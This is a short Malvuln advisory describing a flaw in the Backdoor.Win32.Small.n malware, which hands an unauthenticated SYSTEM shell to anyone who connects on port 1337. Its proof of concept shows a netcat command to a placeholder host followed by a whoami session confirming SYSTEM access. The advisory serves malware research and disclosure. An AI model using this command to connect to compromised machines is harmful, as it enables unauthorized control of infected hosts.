Backdoor.Win32.Small.n Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/fb24c3509180f463c9deaf2ee6705062.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Small.n  
Vulnerability: Unauthenticated Remote Command Execution (SYSTEM)  
Description: The backdoor malware listens on TCP Port 1337, upon successful connection we get handed a remote shell from the infected host with SYSTEM integrity.  
Type: PE32  
MD5: fb24c3509180f463c9deaf2ee6705062  
Vuln ID: MVID-2021-0167  
Dropped files:   
Disclosure: 04/07/2021  
  
Exploit/PoC:  
nc64.exe MALWARE_HOST_IP 1337  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\>whoami  
whoami  
nt authority\system  
  
  
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